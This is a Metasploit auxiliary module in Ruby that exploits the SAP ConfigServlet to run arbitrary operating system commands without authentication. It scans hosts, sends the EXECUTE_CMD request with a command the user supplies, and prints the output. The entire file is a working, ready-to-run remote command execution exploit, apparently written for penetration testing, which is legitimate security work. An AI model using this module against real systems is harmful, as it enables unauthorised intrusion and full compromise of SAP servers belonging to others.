require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'SAP ConfigServlet OS command execution',
			'Description'     => %q{
					This module allows execution of operating system commands through 
				the SAP ConfigServlet without any authentication.
			},
			'Author'          =>
				[
					'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
					'Andras Kabai', # Metasploit module
				],
			'License'         => MSF_LICENSE,
			'References'      =>
				[
					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf'],
				],
			'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
			))

		register_options(
			[
				Opt::RPORT(50000),
				OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
				OptString.new('PATH', [ true, 'Path to ConfigServlet ', '/ctc/servlet/ConfigServlet']),
				OptBool.new('SSL', [true, 'Use SSL', false])
			], self.class)
	end

	def run_host(ip)
		begin
			print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
			res = send_request_cgi(
				{
					'uri'    => datastore['PATH'] + '?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(datastore['CMD']),
					'method' => 'GET',
				})
			if !res or res.code != 200
				print_error("#{rhost}:#{rport} - Exploit failed.")
				return
			end
		rescue ::Rex::ConnectionError
			print_error("#{rhost}:#{rport} - Failed to connect to the server")
			return
		end

		if res.body.include?("Process created")
			print_good("#{rhost}:#{rport} - Exploited successfullyn")
			print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}n")
			print_line("#{rhost}:#{rport} - Output: #{res.body}")
		else
			print_error("#{rhost}:#{rport} - Exploit failed.")
			vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
		end
	end
end